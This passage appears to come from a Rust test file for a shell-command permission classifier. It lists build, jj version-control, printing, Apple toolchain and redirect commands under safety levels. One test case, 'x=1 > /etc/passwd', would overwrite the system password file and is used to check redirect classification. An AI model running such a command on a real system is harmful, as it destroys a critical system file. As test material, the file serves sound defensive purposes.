    level_deno_check: "deno check src/main.ts",
    level_bun_test: "bun test",
    level_swift_test: "swift test",
    level_gradle_test: "gradle test",
    level_gradle_check: "gradle check",
    level_dotnet_test: "dotnet test",
    level_mvn_test: "mvn test",
    level_mvn_verify: "mvn verify",
    level_npx_eslint: "npx eslint src/",
    level_bunx_eslint: "bunx eslint src/",
    level_swiftlint_lint: "swiftlint lint",
    level_swiftlint_analyze: "swiftlint analyze --compiler-log-path build.log",
    level_detekt: "detekt",
    level_ktlint: "ktlint src/",
    level_periphery_scan: "periphery scan",
    level_cucumber: "cucumber features/login.feature",
    level_timeout_cargo_test: "timeout 120 cargo test",
    level_env_cargo_test: "env RUST_BACKTRACE=1 cargo test",
    level_pipe_cargo_test: "cargo test | grep PASS",
    level_hexo_render_no_output: "hexo render src/foo.md",
}

safe_write! {
    level_cargo_build: "cargo build",
    level_cargo_build_help: "cargo build --help",
    level_cargo_doc: "cargo doc",
    level_cargo_clean: "cargo clean",
    level_cargo_fetch: "cargo fetch",
    level_cargo_vendor: "cargo vendor",
    level_cargo_cyclonedx: "cargo cyclonedx",
    level_go_build: "go build ./...",
    level_swift_build: "swift build",
    level_gradle_build: "gradle build",
    level_bun_build: "bun build src/index.ts",
    level_dotnet_build: "dotnet build",
    level_mvn_compile: "mvn compile",
    level_gh_release_download: "gh release download --output file.tar.gz --repo o/r",

    jj_squash: "jj squash",
    jj_squash_help: "jj squash --help",
    jj_split: "jj split",
    jj_split_help: "jj split --help",
    jj_new: "jj new",
    jj_new_message: "jj new main -m 'start feature'",
    jj_describe: "jj describe -m 'hello'",
    jj_commit: "jj commit -m 'msg'",
    jj_rebase: "jj rebase -d main",
    jj_edit: "jj edit @-",
    jj_abandon: "jj abandon @-",
    jj_undo: "jj undo",
    jj_restore: "jj restore --from @-",
    jj_duplicate: "jj duplicate @-",
    jj_resolve: "jj resolve",
    jj_resolve_list: "jj resolve --list",
    jj_fix: "jj fix",
    jj_absorb: "jj absorb",
    jj_backout: "jj backout -r @-",
    jj_unsquash: "jj unsquash",
    jj_simplify_parents: "jj simplify-parents",
    jj_parallelize: "jj parallelize @::@-",
    jj_bookmark_set: "jj bookmark set feature",
    jj_bookmark_create: "jj bookmark create feature",
    jj_bookmark_delete: "jj bookmark delete feature",
    jj_bookmark_move: "jj bookmark move feature --to @",
    jj_bookmark_track: "jj bookmark track feature@origin",
    jj_git_init: "jj git init --colocate",
    jj_workspace_add: "jj workspace add ../ws2",
    jj_workspace_forget: "jj workspace forget default",
    jj_workspace_rename: "jj workspace rename new-name",

    level_circuschief_bare: "circuschief",
    level_circuschief_port_long: "circuschief --port 8080",
    level_circuschief_port_short: "circuschief -p 8080",
    level_circuschief_no_analytics: "circuschief --no-analytics",
    level_circuschief_port_plus_analytics: "circuschief -p 5000 --no-analytics",
    level_circuschief_help: "circuschief --help",
    level_circuschief_version: "circuschief --version",
    level_circuschief_short_h: "circuschief -h",
    level_circuschief_short_v: "circuschief -v",
    level_npx_circuschief: "npx circuschief",
    level_npx_circuschief_port: "npx circuschief -p 8080",

    level_stapler_staple: "stapler staple App.app",
    level_stapler_staple_quiet: "stapler staple -q App.app",
    level_csplit_basic: "csplit file.txt 100",

    level_lp_basic: "lp doc.pdf",
    level_lp_options: "lp -d HP_LaserJet -n 2 doc.pdf",
    level_lpr_basic: "lpr doc.pdf",
    level_lpr_with_copies: "lpr -# 3 -P HP_LaserJet doc.pdf",
    level_lprm_bare: "lprm",
    level_lprm_job: "lprm 42",
    level_cancel_bare: "cancel",
    level_cancel_all: "cancel -a HP_LaserJet",
    level_cancel_purge: "cancel -x 42",
    level_lpoptions_show: "lpoptions -l",
    level_lpoptions_set: "lpoptions -o media=Letter",
    level_lpoptions_default: "lpoptions -d HP_LaserJet",

    level_actool_compile: "actool --compile Build/ Assets.xcassets --platform iphoneos --minimum-deployment-target 16.0",
    level_ibtool_compile: "ibtool --compile out.nib Main.storyboard",
    level_iconutil_to_icns: "iconutil --convert icns MyIcon.iconset",
    level_iconutil_to_iconset: "iconutil --convert iconset -o My.iconset MyIcon.icns",
    level_layerutil_compile: "layerutil -c -o out.lcr Image.psd",
    level_xctrace_import: "xctrace import --input trace.ktrace --output Run.trace",
    level_xctrace_symbolicate: "xctrace symbolicate --input Run.trace --output Symbolicated.trace",
    level_genstrings_basic: "genstrings -o Localizations Main.swift",
    level_gen_bridge_basic: "gen_bridge_metadata -F /System/Library/Frameworks/Foundation.framework -o foundation.bridgesupport",
    level_mig_basic: "mig -user user.c -server server.c -header user.h spec.defs",
    level_dvipdf_basic: "dvipdf paper.dvi paper.pdf",
    level_pdf2ps_basic: "pdf2ps in.pdf out.ps",
    level_ps2ascii_to_file: "ps2ascii input.pdf output.txt",
    level_eps2eps_basic: "eps2eps in.eps out.eps",
    level_pfbtopfa_basic: "pfbtopfa font.pfb font.pfa",
    level_fix_qdf_pipe: "fix-qdf < broken.pdf > fixed.pdf",

    redirect_to_file: "echo hello > file.txt",
    redirect_append: "cat file >> output.txt",
    redirect_stderr_file: "ls 2> errors.txt",
    redirect_grep_file: "grep pattern file > results.txt",
    redirect_find_file: "find . -name '*.py' > listing.txt",
    env_rails_redirect: "RAILS_ENV=test echo foo > bar",
    jj_diff_redirect: "jj diff -r 'master..@' --context 5 > /tmp/review_diff.txt && wc -l /tmp/review_diff.txt",
    cat_redirect_to_tmp: "cat < /tmp/x > /tmp/y",

    assign_with_redirect_safewrite: "x=1 > file.txt",
    assign_with_etc_passwd_safewrite: "x=1 > /etc/passwd",

    hexo_render_with_output_promotes: "hexo render src/foo.md -o out.html",
    hexo_render_with_long_output_promotes: "hexo render src/foo.md --output out.html",
}
